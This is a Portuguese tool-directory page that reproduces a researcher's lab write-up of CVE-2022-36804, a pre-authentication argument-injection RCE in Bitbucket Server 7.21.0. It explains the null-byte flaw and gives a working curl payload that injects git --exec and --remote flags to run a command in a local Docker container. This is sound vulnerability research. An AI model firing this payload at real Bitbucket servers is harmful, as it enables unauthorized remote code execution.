Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
bitbucket-test — Investigating CVE-2022-36804 | Kitploit
Ferramentas/GitHubGitHub/johangabrielson/bitbucket-test
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & EducationLabs & Practice
GitHubjohangabrielson/bitbucket-test

bitbucket-test

Investigating CVE-2022-36804

Ver Repositório
há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Container Docker para investigar CVE-2022-36804

Recriando uma vulnerabilidade de execução remota de código onde o Bitbucket falha ao sanitizar a entrada do usuário, permitindo que atacantes injetem flags do Git e executem código remotamente.

Este repositório documenta como reproduzi a vulnerabilidade CVE-2022-36804, um problema de injeção de argumentos sem pré-autenticação no Bitbucket Server. O objetivo foi demonstrar o problema de segurança subjacente conforme descrito no artigo público da Assetnote. Todos os testes foram realizados em um ambiente local isolado.

Visão geral

CVE-2022-36804 é causada pelo Bitbucket passar a entrada do usuário diretamente para um subprocesso git archive sem sanitizar bytes nulos. Como o Bitbucket usa o NuProcess para iniciar o git, os bytes nulos são preservados e causam divisão de argumentos. Isso permite que um atacante injete flags extras do git no comando. Em versões vulneráveis (como a 7.21.0 usada nesta configuração) isso leva à execução remota de código sem autenticação.

Explicação do CVE-2022-36804

Essa vulnerabilidade de execução remota de código sem pré-autenticação ocorre no endpoint /archive, responsável por gerar arquivos de repositório com a função git archive. O Bitbucket passa o parâmetro prefix diretamente para o subprocesso git, mas sem sanitizar bytes nulos. Como o git é implementado em C, um byte nulo termina a string prematuramente. Portanto, tudo após o byte nulo é interpretado como um argumento de linha de comando separado. Isso permite que o atacante injete flags arbitrárias do git no comando.

Isso funciona porque o Bitbucket usa o NuProcess, que preserva bytes nulos em vez de removê-los. Como resultado, o Git recebe a entrada bruta exatamente como fornecida pelo usuário. Como o git trata bytes nulos como terminadores de string, o valor prefix é dividido em vários argumentos quando passado para o subprocesso git. Isso permite ocultar flags adicionais do git após o byte nulo. Quando combinado com flags como --exec e --remote, essa injeção de argumento leva diretamente à execução remota de código em versões vulneráveis do Bitbucket Server.

Configuração do laboratório

  • Versão do Bitbucket 7.21.0
  • Implantação: Docker Compose
  • Repositório: repositório de teste público (TEST/demo)
  • Host: ambiente de laboratório local isolado

Para iniciar o ambiente:

root@kitploit:~
docker compose up -d

Verificar versão:

root@kitploit:~
cat /opt/atlassian/bitbucket/VERSION

Demonstração da vulnerabilidade

A chave para este CVE é mostrar que um byte nulo no parâmetro prefix faz com que o Bitbucket passe múltiplos argumentos para git archive.

  1. Execute o pspy dentro do contêiner do Bitbucket
root@kitploit:~
docker exec -it bitbucket bash
cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

Mantenha o pspy em execução.

  1. Acione o endpoint vulnerável a partir do host:
root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/demo/archive?prefix=test%00canary&format=zip"

Isso testa se o byte nulo causa divisão de argumentos.

  1. Observe os argumentos injetados

No pspy, o Bitbucket gera:

root@kitploit:~
/usr/bin/git archive --format=zip --prefix=test canary/ -- 

Aqui test e canary aparecem como argumentos separados em vez de um único. O %00 dividiu a entrada e o Bitbucket é forçado a passá-los como argumentos independentes para o git.

A imagem abaixo mostra o pspy em execução dentro do contêiner Docker do Bitbucket capturando /usr/bin/git archive --format=zip --prefix=test canary/ -- (PID=666). O que foi enviado como um único valor - test%00canary - é passado como dois argumentos separados. O byte nulo dividiu a entrada, o que insere um argumento extra no comando git.

Skärmbild 2026-03-30 191936
  1. Prova completa de RCE:

Ao injetar --exec=touch /tmp/pwned e --remote=file:///... através de bytes nulos, o servidor executa um comando arbitrário. Embora o git saia com código 128, o comando é executado antes do git dar o erro e /tmp/pwned é criado dentro do contêiner. Payload:

root@kitploit:~
curl "http://localhost:7990/rest/api/latest/projects/TEST/repos/DEMO/archive?at=ebbabd99dd2da7bb5f8ed6dea8c988253fb43260&prefix=x%00--exec=touch+/tmp/pwned%00--remote=file:///var/atlassian/application-data/bitbucket/shared/data/repositories/1%00x&format=zip"   

A imagem abaixo mostra o pspy capturando a cadeia de execução completa - /usr/bin/git archive executando com argumentos --exec e --remote (PID=74412), gerando /bin/sh touch /tmp/pwned (PID=74413) Skärmbild 2026-04-12 165103

Com docker exec -it bitbucket ls -la /tmp/pwned foi possível verificar que o arquivo foi criado. Isso é mostrado na imagem abaixo. Skärmbild 2026-04-12 164846

Referências

  • Assetnote: RCE sem pré-autenticação do Bitbucket via injeção de argumento git
    • https://www.assetnote.io/resources/research/breaking-bitbucket-pre-auth-remote-command-execution-cve-2022-36804
  • CVE-2022-36804
    • https://nvd.nist.gov/vuln/detail/CVE-2022-36804

Autor

Johan - Estocolmo, Suécia

Baixar ferramenta